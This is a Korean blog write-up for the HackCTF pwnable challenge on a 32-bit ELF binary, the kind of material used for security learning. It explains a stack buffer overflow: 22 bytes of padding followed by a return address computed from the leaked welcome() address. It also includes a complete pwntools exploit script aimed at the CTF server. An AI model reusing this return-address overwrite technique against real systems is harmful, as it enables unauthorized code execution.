반응형
32bit ELF FILE이다.
3개의 함수가 존재한다.
v1의 위치는 bp-12h이다. ret을 덮기 위해 dummy 22바이트가 필요함을 기억해둔다.
welcome함수에서 welcome함수의 주소를 출력해준다.
해당 함수의 주소를 기준으로 j0n9hyun함수의 주소를 구해서 ret을 덮어주면 된다.
welcome offset 0x909
j0n9hyun offset 0x890
0x909 - 0x890 = 0x79
welcome()의 주소 - 0x79 = j0n9hyun()의 주소
ex.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3008)
p.recvline()
p.recvuntil("is ")
welcome = int(p.recv(10), 16)
print hex(welcome)
payload = "A" * (22)
payload += p32(welcome-0x79)
p.sendline(payload)
p.interactive()
|
cs |
반응형
'WAR GAME > HackCTF' 카테고리의 다른 글
HackCTF Pwnable [rtl_world] 풀이 (0) | 2019.09.05 |
---|---|
HackCTF Pwnable [Basic_FSB] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [Offset] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [Simple_Overflow_ver_2] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [x64 Simple_size_BOF] 풀이 (0) | 2019.08.30 |